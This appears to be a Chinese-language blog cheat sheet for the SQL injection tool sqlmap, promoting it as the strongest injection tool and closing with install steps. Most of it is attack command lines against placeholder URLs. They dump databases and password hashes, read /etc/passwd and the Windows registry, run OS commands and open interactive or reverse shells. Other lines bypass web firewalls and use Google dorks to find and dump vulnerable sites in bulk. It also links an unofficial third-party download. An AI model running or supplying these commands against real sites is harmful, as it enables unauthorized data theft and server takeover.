测试许多款**sql**注入工具 最终还是发现**sqlmap** 最为强悍 谁用谁知道！

赶紧抛弃掉手上一大堆**sql**注入工具吧 **:)**

测试环境：**ubuntu 10.10 & windows 7(x64) sqlmap/1.0-dev (r4405)**

如使用过程中出错 请使用下面最近更新的稳定版本:

http://dl.dbank.com/c0adthmqf1

更新升级 ：

sqlmap -update

svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

帮助**:**

sqlmap -h

官方最新文档:http://sqlmap.sourceforge.net/doc/README.html

**********基本步骤**********

sqlmap -u "http://url/news?id=1" --current-user #获取当前用户名称

sqlmap -u "http://www.xxoo.com/news?id=1" --current-db #获取当前数据库名称

sqlmap -u "http://www.xxoo.com/news?id=1" --tables -D "db_name" #列表名

sqlmap -u "http://url/news?id=1" --columns -T "tablename" users-D "db_name" -v 0 #列字段

sqlmap -u "http://url/news?id=1" --dump -C "column_name" -T "table_name" -D "db_name" -v

0 #获取字段内容

**********信息获取**********

sqlmap -u "http://url/news?id=1" --dbms "Mysql" --users # dbms 指定数据库类型

sqlmap -u "http://url/news?id=1" --users #列数据库用户

sqlmap -u "http://url/news?id=1" --dbs#列数据库

sqlmap -u "http://url/news?id=1" --passwords #数据库用户密码

sqlmap -u "http://url/news?id=1" --passwords-U root -v 0 #列出指定用户数据库密码

sqlmap -u "http://url/news?id=1" --dump -C "password,user,id" -T "tablename" -D "db_name"

--start 1 --stop 20 #列出指定字段，列出20 条

sqlmap -u "http://url/news?id=1" --dump-all -v 0 #列出所有数据库所有表

sqlmap -u "http://url/news?id=1" --privileges #查看权限

sqlmap -u "http://url/news?id=1" --privileges -U root #查看指定用户权限

sqlmap -u "http://url/news?id=1" --is-dba -v 1 #是否是数据库管理员

sqlmap -u "http://url/news?id=1" --roles #枚举数据库用户角色

sqlmap -u "http://url/news?id=1" --udf-inject #导入用户自定义函数（获取系统权限！）

sqlmap -u "http://url/news?id=1" --dump-all --exclude-sysdbs -v 0 #列出当前库所有表

sqlmap -u "http://url/news?id=1" --union-cols #union 查询表记录

sqlmap -u "http://url/news?id=1" --cookie "COOKIE_VALUE" #cookie注入

sqlmap -u "http://url/news?id=1" -b #获取banner信息

sqlmap -u "http://url/news?id=1" --data "id=3" #post注入

sqlmap -u "http://url/news?id=1" -v 1 -f #指纹判别数据库类型

sqlmap -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118" #代理注入

sqlmap -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" #指定关键词

sqlmap -u "http://url/news?id=1" --sql-shell #执行指定sql命令

sqlmap -u "http://url/news?id=1" --file /etc/passwd

sqlmap -u "http://url/news?id=1" --os-cmd=whoami #执行系统命令

sqlmap -u "http://url/news?id=1" --os-shell #系统交互shell

sqlmap -u "http://url/news?id=1" --os-pwn #反弹shell

sqlmap -u "http://url/news?id=1" --reg-read #读取win系统注册表

sqlmap -u "http://url/news?id=1" --dbs-o "sqlmap.log" #保存进度

sqlmap -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume #恢复已保存进度

**********高级用法**********

-p name 多个参数如index.php?n_id=1&name=2&data=2020
我们想指定name参数进行注入

sqlmap -g "google语法" --dump-all --batch #google搜索注入点自动 跑出所有字段 需保证google.com能正常访问

--technique 测试指定注入类型\使用的技术

不加参数默认测试所有注入技术

- B: 基于布尔的 SQL 盲注
- E: 基于显错 sql 注入
- U: 基于 UNION 注入
- S: 叠层 sql 注入
- T: 基于时间盲注

--tamper 通过编码绕过 WEB 防火墙（WAF）

Sqlmap 默认用 char()

--tamper 插件所在目录

\sqlmap-dev\tamper

sqlmap -u "http://url/news?id=1" --smart --level 3 --users # smart智能 level 执行测试等级

攻击实例:

Sqlmap -u "http://url/news?id=1&Submit=Submit"

--cookie="PHPSESSID=41aa833e6d0d

28f489ff1ab5a7531406" --string="Surname" --dbms=mysql --users

--password

参考文档:http://sqlmap.sourceforge.net/doc/README.html

**********安装最新版本**********

ubuntu 通过 apt-get install 安装的sqlmap版本为 0.6

我们通过svn 来安装 为 最新 1.0版

sudo svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

安装的位置为:/home/当前用户/sqlmap-dev/sqlmap.py

直接执行 /home/当前用户/sqlmap-dev/sqlmap.py --version

这样很不方便 我们可以设置 .bashrc 文件

sudo vim /home/当前用户/.bashrc

#任意位置加上：

alias sqlmap='python /home/seclab/sqlmap-dev/sqlmap.py'

该环境变量只对当前用户有效

如果想对所有用户有效 可设置全局 编辑下面的文件

vim /etc/profile

同样加上：

alias sqlmap='python /home/seclab/sqlmap-dev/sqlmap.py'

重启生效

**********windows 7 (x64) sqlmap install (SVN)**********

www.python.org/getit/ 安装python

http://www.sliksvn.com/en/download 安装windows svn client

svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

安装sqlmap

*修改环境变量